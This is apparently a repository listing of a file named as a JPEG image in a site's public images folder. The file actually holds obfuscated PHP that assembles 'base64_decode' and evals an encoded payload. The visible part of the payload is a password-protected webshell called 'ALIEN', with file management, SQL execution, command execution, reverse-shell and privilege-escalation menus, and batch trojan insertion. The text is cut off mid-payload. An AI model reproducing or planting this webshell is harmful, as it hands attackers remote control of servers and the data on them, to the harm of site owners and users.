Files
duolamaojiazhen/public/images/user_level/1.jpg
2025-12-22 13:59:40 +08:00

5 lines
234 KiB
Plaintext

<?php
$x="BaSe64";
$b="_deCOde";
$c=$x.$b;
eval($cc = $c('JHBhc3N3b3JkPSd3eWJ3eWJ3eWInOy8vcGFzcwokc2hlbGxuYW1lPSdBTElFTic7Ly9teV9uYW1lCiRteXVybD0naHR0cHM6Ly9Hb29nbGUuY29tJzsvL215X3VybAplcnJvcl9yZXBvcnRpbmcoRV9FUlJPUiB8IEVfUEFSU0UpO0BzZXRfdGltZV9saW1pdCgwKTsKaGVhZGVyKCJjb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCIpOwpvYl9zdGFydCgpOwpkZWZpbmUoJ215YWRkcmVzcycsJF9TRVJWRVJbJ1NDUklQVF9GSUxFTkFNRSddKTsKZGVmaW5lKCdlbnZscGFzcycsJHBhc3N3b3JkKTsKZGVmaW5lKCdzaGVsbG5hbWUnLCRzaGVsbG5hbWUpOwpkZWZpbmUoJ215dXJsJywkbXl1cmwpOwppZihAZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSl7Cglmb3JlYWNoKCRfUE9TVCBhcyAkayA9PiAkdikgJF9QT1NUWyRrXSA9IHN0cmlwc2xhc2hlcygkdik7Cglmb3JlYWNoKCRfR0VUIGFzICRrID0+ICR2KSAkX0dFVFska10gPSBzdHJpcHNsYXNoZXMoJHYpOwp9CmlmKGlzc2V0KCRfUkVRVUVTVFtlbnZscGFzc10pKXsKaG1sb2dpbigyKTsKZXhpdDt9CgkgaWYoJF9DT09LSUVbJ2VudmxwYXNzJ10gIT0gbWQ1KGVudmxwYXNzKSl7CglpZigkX1BPU1RbJ2VudmxwYXNzJ10pewoJCWlmKCRfUE9TVFsnZW52bHBhc3MnXSA9PSBlbnZscGFzcyl7CgkJCXNldGNvb2tpZSgnZW52bHBhc3MnLG1kNSgkX1BPU1RbJ2VudmxwYXNzJ10pKTsKCQkJY3NzX21haW4oKTsKCQkJaG1sb2dpbigpOwoJCQlkaWU7CgkJfWVsc2V7CgkJCWVjaG8gJzxDRU5URVI+VXNlciBPciBQYXNzV29yZCBFcnJvcjwvQ0VOVEVSPic7CgkJCQoJCX0KCX0KCWlzbG9naW4oJHNoZWxsbmFtZSwkbXl1cmwpOwoJZXhpdDsKCQp9CgovKi0tLUVuZCBMb2dpbi0tLSovCmlmKGlzc2V0KCRfR0VUWydkb3duJ10pKSBkb19kb3duKCRfR0VUWydkb3duJ10pOwppZihpc3NldCgkX0dFVFsncGFjayddKSl7CgkkZGlyID0gZG9fc2hvdygkX0dFVFsncGFjayddKTsKCSR6aXAgPSBuZXcgZWFudmVyKCRkaXIpOwoJJG91dCA9ICR6aXAtPm91dDsKCWRvX2Rvd25sb2FkKCRvdXQsImVhbnZlci50YXIuZ3oiKTsKfQppZihpc3NldCgkX0dFVFsndW56aXAnXSkpewoJY3NzX21haW4oKTsKCXN0YXJ0X3VuemlwKCRfR0VUWyd1bnppcCddLCRfR0VUWyd1bnppcCddLCRfR0VUWyd0b2RpciddKTsKCWV4aXQ7Cn0KCmRlZmluZSgncm9vdF9kaXInLHN0cl9yZXBsYWNlKCdcXCcsJy8nLGRpcm5hbWUobXlhZGRyZXNzKSkuJy8nKTsKZGVmaW5lKCdydW5fd2luJyxzdWJzdHIoUEhQX09TLCAwLCAzKSA9PSAiV0lOIik7CmRlZmluZSgnbXlfc2hlbGwnLHN0cl9wYXRoKHJvb3RfZGlyLiRfU0VSVkVSWydTQ1JJUFRfTkFNRSddKSk7CiRlYW52ZXIgPSBpc3NldCgkX0dFVFsnZWFudmVyJ10pID8gJF9HRVRbJ2VhbnZlciddIDogIiI7CiRkb2luZyA9IGlzc2V0KCRfUE9TVFsnZG9pbmcnXSkgPyAkX1BPU1RbJ2RvaW5nJ10gOiAiIjsKJHBhdGggPSBpc3NldCgkX0dFVFsncGF0aCddKSA/ICRfR0VUWydwYXRoJ10gOiByb290X2RpcjsKJG5hbWUgPSBpc3NldCgkX1BPU1RbJ25hbWUnXSkgPyAkX1BPU1RbJ25hbWUnXSA6ICIiOwokaW1nID0gaXNzZXQoJF9HRVRbJ2ltZyddKSA/ICRfR0VUWydpbWcnXSA6ICIiOwokcCA9IGlzc2V0KCRfR0VUWydwJ10pID8gJF9HRVRbJ3AnXSA6ICIiOwokcHAgPSB1cmxlbmNvZGUoZGlybmFtZSgkcCkpOwppZigkaW1nKSBjc3NfaW1nKCRpbWcpOwppZigkZWFudmVyID09ICJwaHBpbmZvIikgZGllKHBocGluZm8oKSk7CmlmKCRlYW52ZXIgPT0gJ2xvZ291dCcpewoJc2V0Y29va2llKCdlbnZscGFzcycsbnVsbCk7CglkaWUoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjA7VVJMPT8iPicpOwp9CgokY2xhc3MgPSBhcnJheSgKIuS/oeaBr+aTjeS9nCIgPT4gYXJyYXkoInVwZmlsZXMiID0+ICLkuIrkvKDmlofku7YiLCJwaHBpbmZvIiA9PiAi5Z+65pys5L+h5oGvIiwiaW5mb19mIiA9PiAi57O757uf5L+h5oGvIiwicGhwY29kZSIgPT4gIuaJp+ihjFBIUOiEmuacrCIpLAoi5o+Q5p2D5bel5YW3IiA9PiBhcnJheSgic3Fsc2hlbGwiID0+ICLmiafooYxTUUzor63lj6UiLCJteXNxbF9leGVjIiA9PiAiTVlTUUznrqHnkIYiLCJvdGhlcnNxbCIgPT4gIuWFtuS7luaVsOaNruW6kyIsIm15ZXhwIiA9PiAiTVlTUUxfVURG5o+Q5p2DIiwid2luYXBpIiA9PiAiV0lOIEFQSeaPkOadgyIsIm1vZnNoZWxsIiA9PiAiTW9m5Y+M6YeN5o+Q5p2DIiwiY21kIiA9PiAi5omn6KGMQ01E5ZG95LukIiwibGludXgiID0+ICLlj43lvLnmj5DmnYMiLCJzZXJ2dSIgPT4gIlNlcnYtVeaPkOadgyIsInJlYWRwYXNzIiA9PiAi5L2O5p2D6ZmQ6K+7cm9vdOWvhueggSIsImRvd25sb2FkZXIiID0+ICLmlofku7bkuIvovb0iLCJwb3J0IiA9PiAi56uv5Y+j5omr5o+PIiksCiLmibnph4/mk43kvZwiID0+IGFycmF5KCJndWFtYSIgPT4gIuaJuemHj+aMgumprOa4hemprCIsInRpaHVhbiIgPT4gIuaJuemHj+abv+aNouWGheWuuSIsInNjYW5maWxlIiA9PiAi5om56YeP5pCc57Si5paH5Lu2Iiwic2NhbnBocCIgPT4gIuaJuemHj+afpeaJvuacqOmprCIsInppcHBhayIgPT4gInppcOino+WOiyIpLAoi6ISa5pys5o+S5Lu2IiA9PiBhcnJheSgiZ2V0Y29kZSIgPT4gIuiOt+WPlue9kemhtea6kOeggSIpCik7CiRtc2cgPSBhcnJheSgiMCIgPT4gIuS/neWtmOaIkOWKnyIsIjEiID0+ICLkv53lrZjlpLHotKUiLCIyIiA9PiAi5LiK5Lyg5oiQ5YqfIiwiMyIgPT4gIuS4iuS8oOWksei0pSIsIjQiID0+ICLkv67mlLnmiJDlip8iLCI1IiA9PiAi5L+u5pS55aSx6LSlIiwiNiIgPT4gIuWIoOmZpOaIkOWKnyIsIjciID0+ICLliKDpmaTlpLHotKUiKTsKY3NzX21haW4oKTsKc3dpdGNoKCRlYW52ZXIpewoJY2FzZSAibGVmdCI6Cgljc3NfbGVmdCgpOwoJCWh0bWxfbigiPGRsPjxkdD48YSBocmVmPVwiI1wiIG9uY2xpY2s9XCJzaG93SGlkZSgnaXRlbXMxJyk7XCIgdGFyZ2V0PVwiX3NlbGZcIj4iKTsKCQlodG1sX2ltZygidGl0bGUiKTtodG1sX24oIiDmnKzlnLDnoaznm5g8L2E+PC9kdD48ZGQgaWQ9XCJpdGVtczFcIiBzdHlsZT1cImRpc3BsYXk6YmxvY2s7XCI+PHVsPiIpOwogICAgJFJPT1RfRElSID0gRmlsZV9Nb2RlKCk7CgoJZm9yICgkaT02NjskaTw9OTA7JGkrKyl7JGRyaXZlPSBjaHIoJGkpLic6JzsKICAgIGlmIChpc19kaXIoJGRyaXZlLiIvIikpeyR2b2w9RmlsZV9TdHIoInZvbCAkZHJpdmUiKTtpZihlbXB0eSgkdm9sKSkkdm9sPSRkcml2ZTsKICAgIGh0bWxfbigiPGxpPjxhIHRpdGxlPSckZHJpdmUnIGhyZWY9Jz9lYW52ZXI9bWFpbiZwYXRoPSRkcml2ZScgdGFyZ2V0PSdtYWluJz7mnKzlnLDno4Hnm5goJGRyaXZlKTwvYT48L2xpPiIpO319CiAgICAJaHRtbF9uKCI8bGk+PGEgdGl0bGU9JyRST09UX0RJUicgaHJlZj0nP2VhbnZlcj1tYWluJnBhdGg9JFJPT1RfRElSJyB0YXJnZXQ9J21haW4nPue9keermeagueebruW9lTwvYT48L2xpPiIpOwoJaHRtbF9uKCI8bGk+PGEgaHJlZj0nP2VhbnZlcj1tYWluJyB0YXJnZXQ9J21haW4nPuacrOeoi+W6j+ebruW9lTwvYT48L2xpPiIpOwoJaHRtbF9uKCI8L3VsPjwvZGQ+PC9kbD4iKTsKCSRpID0gMjsKCWZvcmVhY2goJGNsYXNzIGFzICRuYW1lID0+ICRhcnJheSl7CgkJaHRtbF9uKCI8ZGw+PGR0PjxhIGhyZWY9XCIjXCIgb25jbGljaz1cInNob3dIaWRlKCdpdGVtcyRpJyk7XCIgdGFyZ2V0PVwiX3NlbGZcIj4iKTsKCQlodG1sX2ltZygidGl0bGUiKTtodG1sX24oIiAkbmFtZTwvYT48L2R0PjxkZCBpZD1cIml0ZW1zJGlcIiBzdHlsZT1cImRpc3BsYXk6YmxvY2s7XCI+PHVsPiIpOwoJCWZvcmVhY2goJGFycmF5IGFzICR1cmwgPT4gJHZhbHVlKXsKCQkJaHRtbF9uKCI8bGk+PGEgaHJlZj1cIj9lYW52ZXI9JHVybFwiIHRhcmdldD0nbWFpbic+JHZhbHVlPC9hPjwvbGk+Iik7CgkJfQoJCWh0bWxfbigiPC91bD48L2RkPjwvZGw+Iik7CgkJJGkrKzsKCX0KCWh0bWxfbigiPGRsPjxkdD48YSBocmVmPVwiI1wiIG9uY2xpY2s9XCJzaG93SGlkZSgnaXRlbXMkaScpO1wiIHRhcmdldD1cIl9zZWxmXCI+Iik7CglodG1sX2ltZygidGl0bGUiKTtodG1sX24oIiDlhbblroPmk43kvZw8L2E+PC9kdD48ZGQgaWQ9XCJpdGVtcyRpXCIgc3R5bGU9XCJkaXNwbGF5OmJsb2NrO1wiPjx1bD4iKTsKCWh0bWxfbigiPGxpPjxhIHRpdGxlPSfnqIvluo/mm7TmlrAnIGhyZWY9J2h0dHA6Ly9iYWlkdS5jb20nIHRhcmdldD1cIm1haW5cIj7nqIvluo/mm7TmlrA8L2E+PC9saT4iKTsKICAgIGh0bWxfbigiPGxpPjxhIHRpdGxlPSflronlhajpgIDlh7onIGhyZWY9Jz9lYW52ZXI9bG9nb3V0JyB0YXJnZXQ9XCJtYWluXCI+5a6J5YWo6YCA5Ye6PC9hPjwvbGk+Iik7CglodG1sX24oIjwvdWw+PC9kZD48L2RsPiIpOwoJaHRtbF9uKCI8L2Rpdj4iKTsKCWJyZWFrOwoKCWNhc2UgIm1haW4iOgoJY3NzX2pzKCIxIik7CmZ1bmN0aW9uIGdldEZpbGVQZXJtaXNzaW9ucygkZmlsZSkKewokcGVybXMgPSBmaWxlcGVybXMoJGZpbGUpOwppZiAoKCRwZXJtcyAmIDB4QzAwMCkgPT0gMHhDMDAwKSB7CiAgICAvLyBTb2NrZXQKICAgICRpbmZvID0gJ3MnOwp9IGVsc2VpZiAoKCRwZXJtcyAmIDB4QTAwMCkgPT0gMHhBMDAwKSB7CiAgICAvLyBTeW1ib2xpYyBMaW5rCiAgICAkaW5mbyA9ICdsJzsKfSBlbHNlaWYgKCgkcGVybXMgJiAweDgwMDApID09IDB4ODAwMCkgewogICAgLy8gUmVndWxhcgogICAgJGluZm8gPSAnLSc7Cn0gZWxzZWlmICgoJHBlcm1zICYgMHg2MDAwKSA9PSAweDYwMDApIHsKICAgIC8vIEJsb2NrIHNwZWNpYWwKICAgICRpbmZvID0gJ2InOwp9IGVsc2VpZiAoKCRwZXJtcyAmIDB4NDAwMCkgPT0gMHg0MDAwKSB7CiAgICAvLyBEaXJlY3RvcnkKICAgICRpbmZvID0gJ2QnOwp9IGVsc2VpZiAoKCRwZXJtcyAmIDB4MjAwMCkgPT0gMHgyMDAwKSB7CiAgICAvLyBDaGFyYWN0ZXIgc3BlY2lhbAogICAgJGluZm8gPSAnYyc7Cn0gZWxzZWlmICgoJHBlcm1zICYgMHgxMDAwKSA9PSAweDEwMDApIHsKICAgIC8vIEZJRk8gcGlwZQogICAgJGluZm8gPSAncCc7Cn0gZWxzZSB7CiAgICAvLyBVbmtub3duCiAgICAkaW5mbyA9ICd1JzsKfQoKLy8gT3duZXIKJGluZm8gLj0gKCgkcGVybXMgJiAweDAxMDApID8gJ3InIDogJy0nKTsKJGluZm8gLj0gKCgkcGVybXMgJiAweDAwODApID8gJ3cnIDogJy0nKTsKJGluZm8gLj0gKCgkcGVybXMgJiAweDAwNDApID8KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA4MDApID8gJ3MnIDogJ3gnICkgOgogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDgwMCkgPyAnUycgOiAnLScpKTsKCi8vIEdyb3VwCiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDIwKSA/ICdyJyA6ICctJyk7CiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7CiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDA4KSA/CiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwNDAwKSA/ICdzJyA6ICd4JyApIDoKICAgICAgICAgICAgKCgkcGVybXMgJiAweDA0MDApID8gJ1MnIDogJy0nKSk7CgovLyBXb3JsZAokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwNCkgPyAncicgOiAnLScpOwokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwMikgPyAndycgOiAnLScpOwokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwMSkgPwogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDIwMCkgPyAndCcgOiAneCcgKSA6CiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICdUJyA6ICctJykpOwoKcmV0dXJuICRpbmZvOwoKfQoJCgkkZGlyID0gQGRpcigkcGF0aCk7CgkkUkVBTF9ESVIgPSBGaWxlX1N0cihyZWFscGF0aCgkcGF0aCkpOwoJaWYoIWVtcHR5KCRfUE9TVFsnYWN0YWxsJ10pKXtlY2hvICc8ZGl2IGNsYXNzPSJhY3RhbGwiPicuRmlsZV9BY3QoJF9QT1NUWydmaWxlcyddLCRfUE9TVFsnYWN0YWxsJ10sJF9QT1NUWydpbnZlciddLCRSRUFMX0RJUikuJzwvZGl2Pic7fQoJJE5VTV9EID0gJE5VTV9GID0gMDsKCWlmKCEkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSkgJEdFVFVSTCA9ICcnOyBlbHNlICRHRVRVUkwgPSAnaHR0cDovLycuJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10uJy8nOwoJJFJPT1RfRElSID0gRmlsZV9Nb2RlKCk7CQoJaHRtbF9uKCI8dGFibGUgd2lkdGg9XCIxMDAlXCIgYm9yZGVyPTAgYmdjb2xvcj1cIiM1NTU1NTVcIj48dHI+PHRkPjxmb3JtIG1ldGhvZD0nR0VUJz7lnLDlnYA6PGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nZWFudmVyJyB2YWx1ZT0nbWFpbic+Iik7CglodG1sX24oIjxpbnB1dCB0eXBlPSd0ZXh0JyBzaXplPSc4MCcgbmFtZT0ncGF0aCcgdmFsdWU9JyRwYXRoJz4gPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9J+i9rOWIsCc+PC9mb3JtPiIpOwoJaHRtbF9uKCI8Zm9ybSBtZXRob2Q9J1BPU1QnIGVuY3R5cGU9XCJtdWx0aXBhcnQvZm9ybS1kYXRhXCIgYWN0aW9uPSc/ZWFudmVyPWVkaXRyJnA9Ii51cmxlbmNvZGUoJHBhdGgpLiInPiIpOwoJaHRtbF9uKCI8aW5wdXQgdHlwZT1cImJ1dHRvblwiIHZhbHVlPVwi5paw5bu65paH5Lu2XCIgb25jbGljaz1cInJ1c3VyZWNoaygnbmV3ZmlsZS5waHAnLCc/ZWFudmVyPWVkaXRyJnA9Ii51cmxlbmNvZGUoJHBhdGgpLiImcmVmaWxlPTEmbmFtZT0nKTtcIj4mbmJzcDs8aW5wdXQgdHlwZT1cImJ1dHRvblwiIHZhbHVlPVwi5paw5bu655uu5b2VXCIgb25jbGljaz1cInJ1c3VyZWNoaygnbmV3ZGlyJywnP2VhbnZlcj1lZGl0ciZwPSIudXJsZW5jb2RlKCRwYXRoKS4iJnJlZGlyPTEmbmFtZT0nKTtcIj4iKTsKCWh0bWxfaW5wdXQoImZpbGUiLCJ1cGZpbGV0IiwiIiwiJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7ICIpOwoJaHRtbF9pbnB1dCgic3VibWl0IiwidXBsb2FkdCIsIuS4iuS8oCIpOwoJaWYoIWVtcHR5KCRfUE9TVFsnbmV3ZmlsZSddKSl7CgkJaWYoaXNzZXQoJF9QT1NUWydiaW4nXSkpICRiaW4gPSAkX1BPU1RbJ2JpbiddOyBlbHNlICRiaW4gPSAid2IiOwogICAgICAgIGlmIChzdWJzdHIoUEhQX1ZFUlNJT04sMCwxKT49NSl7aWYoKCRfUE9TVFsnY2hhcnNldCddPT0nR0IyMzEyJykgb3IgKCRfUE9TVFsnY2hhcnNldCddPT0nR0JLJykpe31lbHNleyRfUE9TVFsndHh0J10gPSBpY29udigiZ2IyMzEyLy9JR05PUkUiLCRfUE9TVFsnY2hhcnNldCddLCRfUE9TVFsndHh0J10pO319CgkJZWNobyBkb193cml0ZSgkX1BPU1RbJ25ld2ZpbGUnXSwkYmluLCRfUE9TVFsndHh0J10pID8gJzxicj4nLiRfUE9TVFsnbmV3ZmlsZSddLicgJy4kbXNnWzBdIDogJzxicj4nLiRfUE9TVFsnbmV3ZmlsZSddLicgJy4kbXNnWzFdOwoJCUB0b3VjaCgkX1BPU1RbJ25ld2ZpbGUnXSxAc3RydG90aW1lKCRfUE9TVFsndGltZSddKSk7Cgl9CglodG1sX24oJzwvZm9ybT48L3RkPjwvdHI+PC90YWJsZT48Zm9ybSBtZXRob2Q9IlBPU1QiIG5hbWU9ImZpbGVhbGwiIGlkPSJmaWxlYWxsIiBhY3Rpb249Ij9lYW52ZXI9bWFpbiZwYXRoPScuJHBhdGguJyI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9MCBiZ2NvbG9yPSIjNTU1NTU1Ij48dHIgaGVpZ2h0PSIyNSI+PHRkIHdpZHRoPSIzNSUiPjxiPicpOwoJaHRtbF9hKCc/ZWFudmVyPW1haW4mcGF0aD0nLnVwcGF0aCgkcGF0aCksJzxiPjxmb250IGNvbG9yPXJlZD7kuIrnuqfnm67lvZU8L2ZvbnQ+PC9iPicpOwoJaHRtbF9uKCc8L2I+PC90ZD48dGQgYWxpZ249ImNlbnRlciIgd2lkdGg9IjE1JSI+PGI+5pON5L2cPC9iPjwvdGQ+PHRkIGFsaWduPSJjZW50ZXIiIHdpZHRoPSIxMCUiPicpOwoJaHRtbF9uKCc8Yj7mlofku7blsZ7mgKc8L2I+PC90ZD48dGQgYWxpZ249ImNlbnRlciIgd2lkdGg9IjE1JSI+PGI+5L+u5pS55pe26Ze0PC9iPjwvdGQ+PHRkIGFsaWduPSJjZW50ZXIiIHdpZHRoPSI1JSI+PGI+5paH5Lu25aSn5bCPPC9iPjwvdGQ+PC90cj4nKTsKCXdoaWxlKCRkaXJzID0gQCRkaXItPnJlYWQoKSl7CgkJaWYoJGRpcnMgPT0gJy4nIG9yICRkaXJzID09ICcuLicpIGNvbnRpbnVlOwoJCSRkaXJwYXRoID0gc3RyX3BhdGgoIiRwYXRoLyRkaXJzIik7CgkJaWYoaXNfZGlyKCRkaXJwYXRoKSl7CgkJCSRwZXJtID0gZ2V0RmlsZVBlcm1pc3Npb25zKCRkaXJwYXRoKS4iICIuc3Vic3RyKGJhc2VfY29udmVydChmaWxlcGVybXMoJGRpcnBhdGgpLDEwLDgpLC00KTsKCQkJJGZpbGV0aW1lID0gQGRhdGUoJ1ktbS1kIEg6aTpzJyxAZmlsZW10aW1lKCRkaXJwYXRoKSk7CgkJCSRkaXJwYXRoID0gdXJsZW5jb2RlKCRkaXJwYXRoKTsKCQkJaHRtbF9uKCc8dHIgaGVpZ2h0PSIyNSI+PHRkPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iZmlsZXNbXSIgdmFsdWU9IicuJGRpcnMuJyI+Jyk7CgkJCWh0bWxfaW1nKCJkaXIiKTsKCQkJaHRtbF9hKCc/ZWFudmVyPW1haW4mcGF0aD0nLiRkaXJwYXRoLCRkaXJzKTsKCQkJaHRtbF9uKCc8L3RkPjx0ZCBhbGlnbj0iY2VudGVyIj4nKTsKCQkJaHRtbF9uKCI8YSBocmVmPVwiI1wiIG9uQ2xpY2s9XCJydXN1cmVjaGsoJyRkaXJzJywnP2VhbnZlcj1yZW5hbWUmcD0kZGlycGF0aCZuZXduYW1lPScpO3JldHVybiBmYWxzZTtcIj7mlLnlkI08L2E+Iik7CgkJCWh0bWxfbigiPGEgaHJlZj1cIiNcIiBvbkNsaWNrPVwicnVzdXJlZGVsKCckZGlycycsJz9lYW52ZXI9ZGVsdHJlZSZwPSRkaXJwYXRoJyk7cmV0dXJuIGZhbHNlO1wiPuWIoOmZpDwvYT4gIik7CgkJCWh0bWxfYSgnP3BhY2s9Jy4kZGlycGF0aCwn5omT5YyFJyk7CgkJCWh0bWxfbignPC90ZD48dGQgYWxpZ249ImNlbnRlciI+Jyk7CgkJCWh0bWxfYSgnP2VhbnZlcj1wZXJtJnA9Jy4kZGlycGF0aC4nJmNobW9kPScuJHBlcm0sJHBlcm0pOwoJCQlodG1sX24oJzwvdGQ+PHRkIGFsaWduPSJjZW50ZXIiPicuJGZpbGV0aW1lLic8L3RkPjx0ZCBhbGlnbj0icmlnaHQiPicpOwoJCQlodG1sX24oJzwvdGQ+PC90cj4nKTsKCQkJJE5VTV9EKys7CgkJfQoJfQoJQCRkaXItPnJld2luZCgpOwoJd2hpbGUoJGZpbGVzID0gQCRkaXItPnJlYWQoKSl7CgkJaWYoJGZpbGVzID09ICcuJyBvciAkZmlsZXMgPT0gJy4uJykgY29udGludWU7CgkJJGZpbGVwYXRoID0gc3RyX3BhdGgoIiRwYXRoLyRmaWxlcyIpOwoJCWlmKCFpc19kaXIoJGZpbGVwYXRoKSl7CgkJCSRmc2l6ZSA9IEBmaWxlc2l6ZSgkZmlsZXBhdGgpOwoJCQkkZnNpemUgPSBGaWxlX1NpemUoJGZzaXplKTsKCQkJJHBlcm0gID0gZ2V0RmlsZVBlcm1pc3Npb25zKCRkaXJwYXRoKS4iICIuc3Vic3RyKGJhc2VfY29udmVydChmaWxlcGVybXMoJGZpbGVwYXRoKSwxMCw4KSwtNCk7CgkJCSRmaWxldGltZSA9IEBkYXRlKCdZLW0tZCBIOmk6cycsQGZpbGVtdGltZSgkZmlsZXBhdGgpKTsKCQkJJEZpbGV1cmxzID0gc3RyX3JlcGxhY2UoRmlsZV9TdHIoJFJPT1RfRElSLicvJyksJEdFVFVSTCwkZmlsZXBhdGgpOwoJCQkkdG9kaXI9JFJPT1RfRElSLicvemlwZmlsZSc7CgkJCSRmaWxlcGF0aCA9IHVybGVuY29kZSgkZmlsZXBhdGgpOwoJCQkkaXQ9c3Vic3RyKCRmaWxlcGF0aCwtMyk7CgkJCWh0bWxfbignPHRyIGhlaWdodD0iMjUiPjx0ZD48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9ImZpbGVzW10iIHZhbHVlPSInLiRmaWxlcy4nIj4nKTsKCQkJaHRtbF9pbWcoY3NzX3Nob3dpbWcoJGZpbGVzKSk7CgkJCWh0bWxfYSgkRmlsZXVybHMsJGZpbGVzLCcgdGFyZ2V0PSJfYmxhbmsiIHRpdGxlPSLmiZPlvIAiJyk7CgkJCWh0bWxfbignPC90ZD48dGQgYWxpZ249ImNlbnRlciI+Jyk7CiAgICAgICAgICAgIGlmKCgkaXQ9PScuZ3onKSBvciAoJGl0PT0nemlwJykgb3IgKCRpdD09J3RhcicpIG9yICgkaXQ9PScuN3onKSkKCQkJICAgaHRtbF9hKCc/dW56aXA9Jy4kZmlsZXBhdGgsJ+ino+WOiycsJ3RpdGxlPSLop6PljosnLiRmaWxlcy4nIiBvbkNsaWNrPSJydXN1cmVjaGsoXCcnLiR0b2Rpci4nXCcsXCc/dW56aXA9Jy4kZmlsZXBhdGguJyZ0b2Rpcj1cJyk7cmV0dXJuIGZhbHNlOyInKTsKCQkJZWxzZQogICAgICAgICAgIAlodG1sX2EoJz9lYW52ZXI9ZWRpdHImcD0nLiRmaWxlcGF0aCwn57yW6L6RJywndGl0bGU9Iue8lui+kScuJGZpbGVzLiciJyk7CgkJCWh0bWxfbigiPGEgaHJlZj1cIiNcIiBvbkNsaWNrPVwicnVzdXJlY2hrKCckZmlsZXMnLCc/ZWFudmVyPXJlbmFtZSZwPSRmaWxlcGF0aCZuZXduYW1lPScpO3JldHVybiBmYWxzZTtcIj7mlLnlkI08L2E+Iik7CgkJCWh0bWxfbigiPGEgaHJlZj1cIiNcIiBvbkNsaWNrPVwicnVzdXJlY2hrKCciLnVybGRlY29kZSgkZmlsZXBhdGgpLiInLCc/ZWFudmVyPWNvcHkmcD0kZmlsZXBhdGgmbmV3Y29weT0nKTtyZXR1cm4gZmFsc2U7XCI+5aSN5Yi2PC9hPiIpOwoJCQlodG1sX24oIjxhIGhyZWY9XCIjXCIgb25DbGljaz1cInJ1c3VyZWRlbCgnJGZpbGVzJywnP2VhbnZlcj1kZWwmcD0kZmlsZXBhdGgnKTtyZXR1cm4gZmFsc2U7XCI+5Yig6ZmkPC9hPiAiKTsKICAgICAgICAgICAJaHRtbF9hKCc/ZG93bj0nLiRmaWxlcGF0aCwn5LiL6L29Jywn57yW6L6RJywndGl0bGU9IuS4i+i9vScuJGZpbGVzLiciJyk7CgkJCWh0bWxfbignPC90ZD48dGQgYWxpZ249ImNlbnRlciI+Jyk7CgkJCWh0bWxfYSgnP2VhbnZlcj1wZXJtJnA9Jy4kZmlsZXBhdGguJyZjaG1vZD0nLiRwZXJtLCRwZXJtKTsKCQkJaHRtbF9uKCc8L3RkPjx0ZCBhbGlnbj0iY2VudGVyIj4nLiRmaWxldGltZS4nPC90ZD48dGQgYWxpZ249ImNlbnRlciI+Jyk7CgkJCWh0bWxfYSgnP2Rvd249Jy4kZmlsZXBhdGgsJGZzaXplLCd0aXRsZT0i5LiL6L29Jy4kZmlsZXMuJyInKTsKCQkJaHRtbF9uKCc8L3RkPjwvdHI+Jyk7CgkJCSROVU1fRisrOwoJCX0KCX0KCUAkZGlyLT5jbG9zZSgpOwoJaWYoISRGaWxldGltZSkgJEZpbGV0aW1lID0gZ21kYXRlKCdZLW0tZCBIOmk6cycsdGltZSgpICsgMzYwMCAqIDgpOwpwcmludDw8PEVORAo8L3RhYmxlPgo8ZGl2IGNsYXNzPSJhY3RhbGwiPiA8aW5wdXQgdHlwZT0iaGlkZGVuIiBpZD0iYWN0YWxsIiBuYW1lPSJhY3RhbGwiIHZhbHVlPSJ1bmRlZmluZWQiPiAKPGlucHV0IHR5cGU9ImhpZGRlbiIgaWQ9ImludmVyIiBuYW1lPSJpbnZlciIgdmFsdWU9InVuZGVmaW5lZCI+IAo8aW5wdXQgbmFtZT0iY2hrYWxsIiB2YWx1ZT0ib24iIHR5cGU9ImNoZWNrYm94IiBvbmNsaWNrPSJDaGVja0FsbCh0aGlzLmZvcm0pOyI+IAo8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0i5aSN5Yi2IiBvbmNsaWNrPSJTdWJtaXRVcmwoJ+WkjeWItuaJgOmAieaWh+S7tuWIsOi3r+W+hDogJywneyRSRUFMX0RJUn0nLCdhJyk7cmV0dXJuIGZhbHNlOyI+IAo8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0i5Yig6ZmkIiBvbmNsaWNrPSJEZWxvaygn5omA6YCJ5paH5Lu2JywnYicpO3JldHVybiBmYWxzZTsiPiAKPGlucHV0IHR5cGU9ImJ1dHRvbiIgdmFsdWU9IuWxnuaApyIgb25jbGljaz0iU3VibWl0VXJsKCfkv67mlLnmiYDpgInmlofku7blsZ7mgKflgLzkuLo6ICcsJzA2NjYnLCdjJyk7cmV0dXJuIGZhbHNlOyI+IAo8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0i5pe26Ze0IiBvbmNsaWNrPSJDaGVja0RhdGUoJ3skRmlsZXRpbWV9JywnZCcpO3JldHVybiBmYWxzZTsiPiAKPGlucHV0IHR5cGU9ImJ1dHRvbiIgdmFsdWU9IuaJk+WMhSIgb25jbGljaz0iU3VibWl0VXJsKCfmiZPljIXlubbkuIvovb3miYDpgInmlofku7bkuIvovb3lkI3kuLo6ICcsJ3skX1NFUlZFUlsnU0VSVkVSX05BTUUnXX0udGFyLmd6JywnZScpO3JldHVybiBmYWxzZTsiPgrnm67lvZUoeyROVU1fRH0pIC8g5paH5Lu2KHskTlVNX0Z9KTwvZGl2PiAKPC9mb3JtPiAKRU5EOwoJYnJlYWs7CgkKCWNhc2UgImVkaXRyIjoK